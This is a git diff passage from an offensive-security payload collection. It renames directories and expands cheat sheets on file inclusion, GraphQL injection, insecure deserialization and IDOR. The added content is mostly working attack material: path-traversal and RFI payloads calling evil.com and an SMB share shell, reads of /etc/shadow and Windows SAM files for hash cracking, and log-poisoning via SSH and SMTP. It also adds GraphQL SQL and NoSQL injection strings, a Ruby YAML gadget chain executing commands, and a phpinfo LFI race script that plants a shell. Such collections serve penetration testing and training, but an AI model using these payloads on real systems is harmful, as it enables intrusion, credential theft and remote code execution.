Inclusion/Intruders/Windows-files.txt similarity index 100% rename from File inclusion/Intruders/Windows-files.txt rename to File Inclusion/Intruders/Windows-files.txt diff --git a/File inclusion/Intruders/dot-slash-PathTraversal_and_LFI_pairing.txt b/File Inclusion/Intruders/dot-slash-PathTraversal_and_LFI_pairing.txt similarity index 100% rename from File inclusion/Intruders/dot-slash-PathTraversal_and_LFI_pairing.txt rename to File Inclusion/Intruders/dot-slash-PathTraversal_and_LFI_pairing.txt diff --git a/File inclusion/Intruders/simple-check.txt b/File Inclusion/Intruders/simple-check.txt similarity index 100% rename from File inclusion/Intruders/simple-check.txt rename to File Inclusion/Intruders/simple-check.txt diff --git a/File inclusion/README.md b/File Inclusion/README.md similarity index 61% rename from File inclusion/README.md rename to File Inclusion/README.md index c261b13580..265c394549 100644 --- a/File inclusion/README.md +++ b/File Inclusion/README.md @@ -1,12 +1,18 @@ # File Inclusion -The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. +> The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. -The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application +> The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application ## Summary +* [Tools](#tools) * [Basic LFI](#basic-lfi) + * [Null byte](#null-byte) + * [Double encoding](#double-encoding) + * [UTF-8 encoding](#utf-8-encoding) + * [Path and dot truncation](#path-and-dot-truncation) + * [Filter bypass tricks](#filter-bypass-tricks) * [Basic RFI](#basic-rfi) * [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) * [Wrapper php://filter](#wrapper-phpfilter) @@ -22,6 +28,13 @@ The Path Traversal vulnerability allows an attacker to access a file, usually ex * [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo) * [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file) * [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions) +* [LFI to RCE via credentials files](#lfi-o-rce-via-credentials-files) + +## Tools + +* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) +* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) +* [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Basic LFI @@ -31,27 +44,40 @@ In the following examples we include the `/etc/passwd` file, check the `Director http://example.com/index.php?page=../../../etc/passwd ``` -Null byte +### Null byte + +:warning: In versions of PHP below 5.3.4 we can terminate with null byte. ```powershell http://example.com/index.php?page=../../../etc/passwd%00 ``` -Double encoding +### Double encoding ```powershell http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -Path truncation +### UTF-8 encoding + +```powershell +http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd +http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 +``` + +### Path and dot truncation + +On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away. ```powershell -http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\. -http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd +http://example.com/index.php?page=../../../etc/passwd............[ADD MORE] +http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE] +http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] +http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd ``` -Filter bypass tricks +### Filter bypass tricks ```powershell http://example.com/index.php?page=....//....//etc/passwd @@ -61,22 +87,33 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C ## Basic RFI +Most of the filter bypasses from LFI section can be reused for RFI. + ```powershell http://example.com/index.php?page=http://evil.com/shell.txt ``` -Null byte +### Null byte ```powershell http://example.com/index.php?page=http://evil.com/shell.txt%00 ``` -Double encoding +### Double encoding ```powershell http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt ``` +### Bypass allow_url_include + +When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol. + +1. Create a share open to everyone +2. Write a PHP code inside a file : `shell.php` +3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php` + + ## LFI / RFI using wrappers ### Wrapper php://filter @@ -85,6 +122,7 @@ The part "php://filter" is case insensitive ```powershell http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php +http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` @@ -95,7 +133,12 @@ can be chained with a compression wrapper for large files. http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` -NOTE: Wrappers can be chained : `php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s` +NOTE: Wrappers can be chained multiple times : `php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s` + +```powershell +./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page +curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php +``` ### Wrapper zip:// @@ -126,11 +169,16 @@ http://example.com/index.php?page=expect://ls ### Wrapper input:// -Specify your payload in the POST parameters +Specify your payload in the POST parameters, this can be done with a simple `curl` command. ```powershell -http://example.com/index.php?page=php://input -POST DATA: +curl -X POST --data "" "https://example.com/index.php?page=php://input%00" -k -v +``` + +Alternatively, Kadimus has a module to automate this attack. + +```powershell +./kadimus -u "https://example.com/index.php?page=php://input%00" -C '' -T input ``` ### Wrapper phar:// @@ -224,9 +272,14 @@ print('[x] Something went wrong, please try again') ## LFI to RCE via phpinfo() -https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf +PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**. + +> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name. + Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py) +Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf + ## LFI to RCE via controlled log file Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file. @@ -234,6 +287,8 @@ Just append your PHP code into the log file by doing a request to the service (A ```powershell http://example.com/index.php?page=/var/log/apache/access.log http://example.com/index.php?page=/var/log/apache/error.log +http://example.com/index.php?page=/var/log/nginx/access.log +http://example.com/index.php?page=/var/log/nginx/error.log http://example.com/index.php?page=/var/log/vsftpd.log http://example.com/index.php?page=/var/log/sshd.log http://example.com/index.php?page=/var/log/mail @@ -242,6 +297,49 @@ http://example.com/index.php?page=/usr/local/apache/log/error_log http://example.com/index.php?page=/usr/local/apache2/log/error_log ``` +### RCE via SSH + +Try to ssh into the box with a PHP code as username ``. + +```powershell +ssh @10.10.10.10 +``` + +Then include the SSH log files inside the Web Application. + +```powershell +http://example.com/index.php?page=/var/log/auth.log&cmd=id +``` + +### RCE via Mail + +First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`. + +```powershell +root@kali:~# telnet 10.10.10.10. 25 +Trying 10.10.10.10.... +Connected to 10.10.10.10.. +Escape character is '^]'. +220 straylight ESMTP Postfix (Debian/GNU) +helo ok +250 straylight +mail from: mail@example.com +250 2.1.0 Ok +rcpt to: root +250 2.1.5 Ok +data +354 End data with . +subject: +data2 +. +``` + +In some cases you can also send the email with the `mail` command line. + +```powershell +mail -s "" www-data@10.10.10.10. < /dev/null +``` + ## LFI to RCE via PHP sessions Check if the website use PHP Session (PHPSESSID) @@ -270,6 +368,31 @@ Use the LFI to include the PHP session file login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 ``` +## LFI to RCE via credentials files + +This method require high privileges inside the application in order to read the sensitive files. + +### Windows version + +First extract `sam` and `system` files. + +```powershell +http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam +http://example.com/index.php?page=../../../../../../WINDOWS/repair/system +``` + +Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique. + +### Linux version + +First extract `/etc/shadow` files. + +```powershell +http://example.com/index.php?page=../../../../../../etc/shadow +``` + +Then crack the hashes inside in order to login via SSH on the machine. + ## References * [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) @@ -285,3 +408,5 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s * [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/) * [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf) * [Local file inclusion mini list - Penetrate.io](https://penetrate.io/2014/09/25/local-file-inclusion-mini-list/) +* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) +* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1) diff --git a/File inclusion/phpinfolfi.py b/File Inclusion/phpinfolfi.py similarity index 83% rename from File inclusion/phpinfolfi.py rename to File Inclusion/phpinfolfi.py index 7042c31ffa..2f4cc8e9a8 100644 --- a/File inclusion/phpinfolfi.py +++ b/File Inclusion/phpinfolfi.py @@ -1,5 +1,7 @@ #!/usr/bin/python # https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf +from __future__ import print_function +from builtins import range import sys import threading import socket @@ -83,7 +85,7 @@ def run(self): if self.event.is_set(): break if x: - print "\nGot it! Shell created in /tmp/g" + print("\nGot it! Shell created in /tmp/g") self.event.set() except socket.error: @@ -110,23 +112,23 @@ def getOffset(host, port, phpinforeq): if i == -1: raise ValueError("No php tmp_name in phpinfo output") - print "found %s at %i" % (d[i:i+10],i) + print("found %s at %i" % (d[i:i+10],i)) # padded up a bit return i+256 def main(): - print "LFI With PHPInfo()" - print "-=" * 30 + print("LFI With PHPInfo()") + print("-=" * 30) if len(sys.argv) < 2: - print "Usage: %s host [port] [threads]" % sys.argv[0] + print("Usage: %s host [port] [threads]" % sys.argv[0]) sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) - except socket.error, e: - print "Error with hostname %s: %s" % (sys.argv[1], e) + except socket.error as e: + print("Error with hostname %s: %s" % (sys.argv[1], e)) sys.exit(1) port=80 @@ -134,8 +136,8 @@ def main(): port = int(sys.argv[2]) except IndexError: pass - except ValueError, e: - print "Error with port %d: %s" % (sys.argv[2], e) + except ValueError as e: + print("Error with port %d: %s" % (sys.argv[2], e)) sys.exit(1) poolsz=10 @@ -143,11 +145,11 @@ def main(): poolsz = int(sys.argv[3]) except IndexError: pass - except ValueError, e: - print "Error with poolsz %d: %s" % (sys.argv[3], e) + except ValueError as e: + print("Error with poolsz %d: %s" % (sys.argv[3], e)) sys.exit(1) - print "Getting initial offset...", + print("Getting initial offset...", end=' ') reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() @@ -156,7 +158,7 @@ def main(): e = threading.Event() l = threading.Lock() - print "Spawning worker pool (%d)..." % poolsz + print("Spawning worker pool (%d)..." % poolsz) sys.stdout.flush() tp = [] @@ -174,19 +176,19 @@ def main(): sys.stdout.flush() if counter >= maxattempts: break - print + print() if e.is_set(): - print "Woot! \m/" + print("Woot! \m/") else: - print ":(" + print(":(") except KeyboardInterrupt: - print "\nTelling threads to shutdown..." + print("\nTelling threads to shutdown...") e.set() - print "Shuttin' down..." + print("Shuttin' down...") for t in tp: t.join() if __name__=="__main__": - print "Don't forget to modify the LFI URL" + print("Don't forget to modify the LFI URL") main() diff --git a/File inclusion/uploadlfi.py b/File Inclusion/uploadlfi.py similarity index 90% rename from File inclusion/uploadlfi.py rename to File Inclusion/uploadlfi.py index ce910b0123..93526d5a4f 100644 --- a/File inclusion/uploadlfi.py +++ b/File Inclusion/uploadlfi.py @@ -1,3 +1,5 @@ +from __future__ import print_function +from builtins import range import itertools import requests import string diff --git a/GraphQL Injection/Images/htb-help.png b/GraphQL Injection/Images/htb-help.png new file mode 100644 index 0000000000..5b0493be7a Binary files /dev/null and b/GraphQL Injection/Images/htb-help.png differ diff --git a/GraphQL Injection/README.md b/GraphQL Injection/README.md new file mode 100644 index 0000000000..b192960c58 --- /dev/null +++ b/GraphQL Injection/README.md @@ -0,0 +1,259 @@ +# GraphQL injection + +> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type + + +## Summary + +* [Tools](#tools) +* [Exploit](#exploit) + * [Identify an injection point](#identify-an-injection-point) + * [Enumerate Database Schema via Instropection](#enumerate-database-schema-via-introspection) + * [Extract data](#extract-data) + * [Extract data using edges/nodes](#extract-data-using-edges-nodes) + * [Extract data using projections](#extract-data-using-projections) + * [Enumerate the types' definition](#enumerate-the-type-definition) + * [Use mutations](#use-mutations) + * [NOSQL injection](#nosql-injection) + * [SQL injection](#sql-injection) +* [References](#references) + +## Tools + +* [GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes](https://github.com/swisskyrepo/GraphQLmap) +* [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/) +* [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide) + +## Exploit + +### Identify an injection point + +Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint. + +```js +example.com/graphql?query={__schema{types{name}}} +example.com/graphiql?query={__schema{types{name}}} +``` + +Check if errors are visible. + +```javascript +?query={__schema} +?query={} +?query={thisdefinitelydoesnotexist} +``` + + +### Enumerate Database Schema via Introspection + +URL encoded query to dump the database schema. + +```js +fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}} +``` + +URL decoded query to dump the database schema. + +```javascript +fragment FullType on __Type { + kind + name + description + fields(includeDeprecated: true) { + name + description + args { + ...InputValue + } + type { + ...TypeRef + } + isDeprecated + deprecationReason + } + inputFields { + ...InputValue + } + interfaces { + ...TypeRef + } + enumValues(includeDeprecated: true) { + name + description + isDeprecated + deprecationReason + } + possibleTypes { + ...TypeRef + } +} +fragment InputValue on __InputValue { + name + description + type { + ...TypeRef + } + defaultValue +} +fragment TypeRef on __Type { + kind + name + ofType { + kind + name + ofType { + kind + name + ofType { + kind + name + ofType { + kind + name + ofType { + kind + name + ofType { + kind + name + ofType { + kind + name + } + } + } + } + } + } + } +} + +query IntrospectionQuery { + __schema { + queryType { + name + } + mutationType { + name + } + types { + ...FullType + } + directives { + name + description + locations + args { + ...InputValue + } + } + } +} +``` + + +### Extract data + +```js +example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}} +``` + +![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true) + + + +### Extract data using edges/nodes + +```json +{ + "query": "query { + teams{ + total_count,edges{ + node{ + id,_id,about,handle,state + } + } + } + }" +} +``` + +### Extract data using projections + +:warning: Don’t forget to escape the " inside the **options**. + +```json +{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}} +``` + + +### Enumerate the types' definition + +Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type + +```javascript +{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}} +``` + +### Use mutations + +Mutations work like function, you can use them to interact with the GraphQL. + +```javascript +# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}} +# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}} +``` + +### NOSQL injection + +Use `$regex`, `$ne` from []() inside a `search` parameter. + +```json +{ + doctors( + options: "{\"limit\": 1, \"patients.ssn\" :1}", + search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }") + { + firstName lastName id patients{ssn} + } +} +``` + + +### SQL injection + +Send a single inside a graphql parameter to trigger the SQL injection + +```powershell +{ + bacon(id: "1'") { + id, + type, + price + } +} +``` + +Simple SQL injection inside a graphql field. + +```powershell +curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27 +``` + + +## References + +* [Introduction to GraphQL](https://graphql.org/learn/) +* [GraphQL Introspection](https://graphql.org/learn/introspection/) +* [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2) +* [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](https://labs.detectify.com/2018/03/14/graphql-abuse/) +* [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e) +* [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b) +* [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/) +* [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert](https://hackerone.com/reports/435066) +* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/) +* [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/) +* [GraphQL cheatsheet - DEVHINTS.IO](https://devhints.io/graphql) +* [HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/) +* [Introspection query leaks sensitive graphql system information - @Zuriel](https://hackerone.com/reports/291531) +* [Graphql Bug to Steal Anyone’s Address - Sept 1, 2019 - Pratik Yadav](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417) \ No newline at end of file diff --git a/Insecure deserialization/Files/PHP-Serialization-RCE-Exploit.php b/Insecure Deserialization/Files/PHP-Serialization-RCE-Exploit.php old mode 100755 new mode 100644 similarity index 100% rename from Insecure deserialization/Files/PHP-Serialization-RCE-Exploit.php rename to Insecure Deserialization/Files/PHP-Serialization-RCE-Exploit.php diff --git a/Insecure deserialization/Files/Ruby_universal_gadget_generate_verify.rb b/Insecure Deserialization/Files/Ruby_universal_gadget_generate_verify.rb similarity index 100% rename from Insecure deserialization/Files/Ruby_universal_gadget_generate_verify.rb rename to Insecure Deserialization/Files/Ruby_universal_gadget_generate_verify.rb diff --git a/Insecure deserialization/Java.md b/Insecure Deserialization/Java.md similarity index 96% rename from Insecure deserialization/Java.md rename to Insecure Deserialization/Java.md index f3606d14d3..5915688065 100644 --- a/Insecure deserialization/Java.md +++ b/Insecure Deserialization/Java.md @@ -63,10 +63,12 @@ JRE8u20_RCE_Gadget JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool, [https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) +ysoserial-modified [https://github.com/pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) + ## References - [Github - ysoserial](https://github.com/frohoff/ysoserial) - [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md) - [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) - [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a) -- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) \ No newline at end of file +- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) diff --git a/Insecure deserialization/PHP.md b/Insecure Deserialization/PHP.md similarity index 90% rename from Insecure deserialization/PHP.md rename to Insecure Deserialization/PHP.md index 883acf90d6..a0821103aa 100644 --- a/Insecure deserialization/PHP.md +++ b/Insecure Deserialization/PHP.md @@ -8,7 +8,7 @@ The following magic methods will help you for a PHP Object injection * __destruct() when an object is deleted. * __toString() when an object is converted to a string. -Also you should check the `Wrapper Phar://` in [File Inclusion - Path Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#wrapper-phar) which use a PHP object injection. +Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection. ## __wakeup in the unserialize function @@ -99,7 +99,7 @@ if($obj) { Payload: ```php -O:6:"Object":2:{s:10:"secretCode";N;s:4:"code";R:2;} +O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;} ``` ## Others exploits @@ -161,4 +161,5 @@ phpggc monolog/rce1 'phpinfo();' -s * [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains) * [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf) * [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html) -* [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web) \ No newline at end of file +* [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web) +* [CTF writeup: PHP object injection in kaspersky CTF](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d) diff --git a/Insecure deserialization/Python.md b/Insecure Deserialization/Python.md similarity index 100% rename from Insecure deserialization/Python.md rename to Insecure Deserialization/Python.md diff --git a/Insecure deserialization/README.md b/Insecure Deserialization/README.md similarity index 85% rename from Insecure deserialization/README.md rename to Insecure Deserialization/README.md index 4a0ed0fbb4..514fd13e3f 100644 --- a/Insecure deserialization/README.md +++ b/Insecure Deserialization/README.md @@ -12,6 +12,7 @@ Check the following sub-sections, located in other files : ## References * [Github - ysoserial](https://github.com/frohoff/ysoserial) +* [Github - ysoserial.net](https://github.com/pwntester/ysoserial.net) * [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md) * [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) * [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a) @@ -24,4 +25,6 @@ Check the following sub-sections, located in other files : * [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin * [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg * [(Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel) -* [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals \ No newline at end of file +* [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals +* [Diving into unserialize() - Sep 19- Vickie Li](https://medium.com/swlh/diving-into-unserialize-3586c1ec97e) +* [.NET Gadgets](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) by Alvaro Muñoz (@pwntester) & OleksandrMirosh diff --git a/Insecure deserialization/Ruby.md b/Insecure Deserialization/Ruby.md similarity index 62% rename from Insecure deserialization/Ruby.md rename to Insecure Deserialization/Ruby.md index bf338863e6..6263526128 100644 --- a/Insecure deserialization/Ruby.md +++ b/Insecure Deserialization/Ruby.md @@ -1,12 +1,37 @@ # Ruby Deserialization +## Marshal.load + Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5 ```ruby for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done ``` +## Yaml.load + +Vulnerable code +```ruby +require "yaml" +YAML.load(File.read("p.yml")) +``` + +Exploitation code +```ruby +--- !ruby/object:Gem::Requirement +requirements: + !ruby/object:Gem::DependencyList + specs: + - !ruby/object:Gem::Source::SpecificFile + spec: &1 !ruby/object:Gem::StubSpecification + loaded_from: "|id 1>&2" + - !ruby/object:Gem::Source::SpecificFile + spec: +``` + + ## References - [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/) +- [Universal RCE with Ruby YAML.load - @_staaldraad ](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/) - [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online) \ No newline at end of file diff --git a/Insecure direct object references/idor.png b/Insecure Direct Object References/Images/idor.png similarity index 100% rename from Insecure direct object references/idor.png rename to Insecure Direct Object References/Images/idor.png diff --git a/Insecure direct object references/README.md b/Insecure Direct Object References/README.md similarity index 80% rename from Insecure direct object references/README.md rename to Insecure Direct Object References/README.md index 22a49ff13f..6b4dba2884 100644 --- a/Insecure direct object references/README.md +++ b/Insecure Direct Object References/README.md @@ -2,7 +2,14 @@ > Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. - OWASP -Tools : +## Summary + +* [Tools](#tools) +* [Exploit](#exploit) +* [Examples](#examples) +* [References](#references) + +## Tools - Burp Suite plugin Authz - Burp Suite plugin AuthMatrix @@ -10,7 +17,7 @@ Tools : ## Exploit -![https://lh5.googleusercontent.com/VmLyyGH7dGxUOl60h97Lr57F7dcnDD8DmUMCZTD28BKivVI51BLPIqL0RmcxMPsmgXgvAqY8WcQ-Jyv5FhRiCBueX9Wj0HSCBhE-_SvrDdA6_wvDmtMSizlRsHNvTJHuy36LG47lstLpTqLK](https://lh5.googleusercontent.com/VmLyyGH7dGxUOl60h97Lr57F7dcnDD8DmUMCZTD28BKivVI51BLPIqL0RmcxMPsmgXgvAqY8WcQ-Jyv5FhRiCBueX9Wj0HSCBhE-_SvrDdA6_wvDmtMSizlRsHNvTJHuy36LG47lstLpTqLK) +![https://lh5.googleusercontent.com/VmLyyGH7dGxUOl60h97Lr57F7dcnDD8DmUMCZTD28BKivVI51BLPIqL0RmcxMPsmgXgvAqY8WcQ-Jyv5FhRiCBueX9Wj0HSCBhE-_SvrDdA6_wvDmtMSizlRsHNvTJHuy36LG47lstLpTqLK](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Insecure%20Direct%20Object%20References/Images/idor.png) The value of a parameter is used directly to retrieve a database record. @@ -49,3 +56,4 @@ http://foo.bar/accessPage?menuitem=12 * [IDOR tweet as any user](http://kedrisec.com/twitter-publish-by-any-user/) by kedrisec * [Manipulation of ETH 